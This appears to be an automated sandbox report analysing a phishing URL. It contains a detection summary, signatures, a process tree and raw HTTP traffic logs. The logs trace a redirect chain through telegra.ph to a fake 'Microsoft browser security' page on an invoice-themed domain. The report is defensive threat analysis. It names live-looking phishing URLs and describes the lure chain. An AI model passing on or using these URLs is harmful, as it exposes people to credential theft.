Edit tour

Windows Analysis Report
https://auth.microsites.m-atelier.cz/redir?url=https://telegra.ph/Charlotte-Reeves-03-13&data=05|02|teat@test.com|f85134ec55e24fa0741708dd623d50ea|22def1f7e945453d836bda7282c42443|0|0|638774737677482831|Unknown|TWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiI

Overview

General Information

Sample URL:	https://auth.microsites.m-atelier.cz/redir?url=https://telegra.ph/Charlotte-Reeves-03-13&data=05\|02\|teat@test.com\|f85134ec55e24fa0741708dd623d50ea\|22def1f7e945453d836bda7282c42443\|0\|0\|63
Analysis ID:	1637392
Infos:

Detection

Score:	52
Range:	0 - 100
Confidence:	100%

Signatures

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Phishing site or detected (based on various text indicators)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected suspicious crossdomain redirect

URL contains potential PII (phishing indication)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5660 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 2804 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2316,i,1747391664198738342,13379341162962825991,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2372 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7060 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://auth.microsites.m-atelier.cz/redir?url=https://telegra.ph/Charlotte-Reeves-03-13&data=05%7C02%7Cteat@test.com%7Cf85134ec55e24fa0741708dd623d50ea%7C22def1f7e945453d836bda7282c42443%7C0%7C0%7C638774737677482831%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ==%7C0%7C%7C%7C&sdata=AFWlQKGCYsB3szoYr99UdtJsHEuv5b0KPmvHih+dvhk=&reserved=0" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Joe Sandbox Signatures

• Phishing
• Compliance
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

Phishing

AI detected landing page (webpage, office document or email)

Source: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fc

Joe Sandbox AI: Page contains button: 'OPEN DOCUMENT' Source: '0.0.pages.csv'

AI detected suspicious Javascript

Source: 1.30.d.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It appears to be a malicious script that collects user data and potentially redirects to a suspicious domain. The combination of these behaviors indicates a high risk of malicious intent.

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 1.4

OCR Text: Microsoft Browser security sweep in progress. Verifying... CLOUDFLARE Ternw To move forward, Microsoft must confirm your connection is secure-

Source: https://auth.microsites.m-atelier.cz/redir?url=https://telegra.ph/Charlotte-Reeves-03-13&data=05%7C02%7Cteat@test.com%7Cf85134ec55e24fa0741708dd623d50ea%7C22def1f7e945453d836bda7282c42443%7C0%7C0%7C638774737677482831%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ==%7C0%7C%7C%7C&sdata=AFWlQKGCYsB3szoYr99UdtJsHEuv5b0KPmvHih+dvhk=&reserved=0

Sample URL: PII: 05%7C02%7Cteat@test.com%7Cf85134ec55e24fa0741708dd623d50ea%7C22def1f7e945453d836bda7282c42443%7C0%7C0%7C638774737677482831%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ

Source: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/N9fSN/	HTTP Parser: No favicon
Source: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/N9fSN/	HTTP Parser: No favicon
Source: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/N9fSN/	HTTP Parser: No favicon

Source: unknown

HTTPS traffic detected: 131.253.33.254:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: auth.microsites.m-atelier.cz to https://telegra.ph/charlotte-reeves-03-13?authtoken=661de363-1fc1-4007-b38f-852148abf4fc

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 216.58.212.131
Source: unknown	TCP traffic detected without corresponding DNS query: 216.58.212.131
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /redir?url=https://telegra.ph/Charlotte-Reeves-03-13&data=05%7C02%7Cteat@test.com%7Cf85134ec55e24fa0741708dd623d50ea%7C22def1f7e945453d836bda7282c42443%7C0%7C0%7C638774737677482831%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ==%7C0%7C%7C%7C&sdata=AFWlQKGCYsB3szoYr99UdtJsHEuv5b0KPmvHih+dvhk=&reserved=0 HTTP/1.1Host: auth.microsites.m-atelier.czConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fc HTTP/1.1Host: telegra.phConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jpg/04/65/41/29/360_F_465412924_Ir2XnMp0TYJYtpl1IdNSPYt0UNDVMJv3.jpg HTTP/1.1Host: t4.ftcdn.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://telegra.ph/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /css/quill.core.min.css HTTP/1.1Host: telegra.phConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fcAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /css/core.min.css?47 HTTP/1.1Host: telegra.phConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fcAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2016/08/tripaklogo-copy1.png HTTP/1.1Host: tripakservices.co.ukConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://telegra.ph/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jpg/04/65/41/29/360_F_465412924_Ir2XnMp0TYJYtpl1IdNSPYt0UNDVMJv3.jpg HTTP/1.1Host: t4.ftcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/jquery.min.js HTTP/1.1Host: telegra.phConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fcAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/jquery.selection.min.js HTTP/1.1Host: telegra.phConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fcAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/autosize.min.js HTTP/1.1Host: telegra.phConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fcAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/load-image.all.min.js?1 HTTP/1.1Host: telegra.phConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fcAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/quill.min.js?10 HTTP/1.1Host: telegra.phConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fcAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2016/08/tripaklogo-copy1.png HTTP/1.1Host: tripakservices.co.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/core.min.js?67 HTTP/1.1Host: telegra.phConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fcAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_websync_?path=Charlotte-Reeves-03-13&hash=c0cdf245aed7a75c26 HTTP/1.1Host: t.meConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://telegra.ph/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico?1 HTTP/1.1Host: telegra.phConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fcAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico?1 HTTP/1.1Host: telegra.phConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ta6tn/0x4AAAAAAA-uZx5FUOdPH-Fx/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=91fc51994e2a9acb&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ta6tn/0x4AAAAAAA-uZx5FUOdPH-Fx/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ta6tn/0x4AAAAAAA-uZx5FUOdPH-Fx/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2011361268:1741875955:c0x57_2dnnWv0cSNRdCEyxhdi_PDaFZ2_aYakigo87U/91fc51994e2a9acb/LGFQ88mF_QP141C7G5Ud698sC7wcVLkUl4QpbMV03j8-1741877165-1.1.1.1-66f2Wb4q5NYSFDMnBT8Fo16fd.zjayP37noXfe4F1YNPa9rS8PJ2qrI7IEDr06ws HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/91fc51994e2a9acb/1741877170626/xN40vxstI2Ov5Cp HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ta6tn/0x4AAAAAAA-uZx5FUOdPH-Fx/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/91fc51994e2a9acb/1741877170626/xN40vxstI2Ov5Cp HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
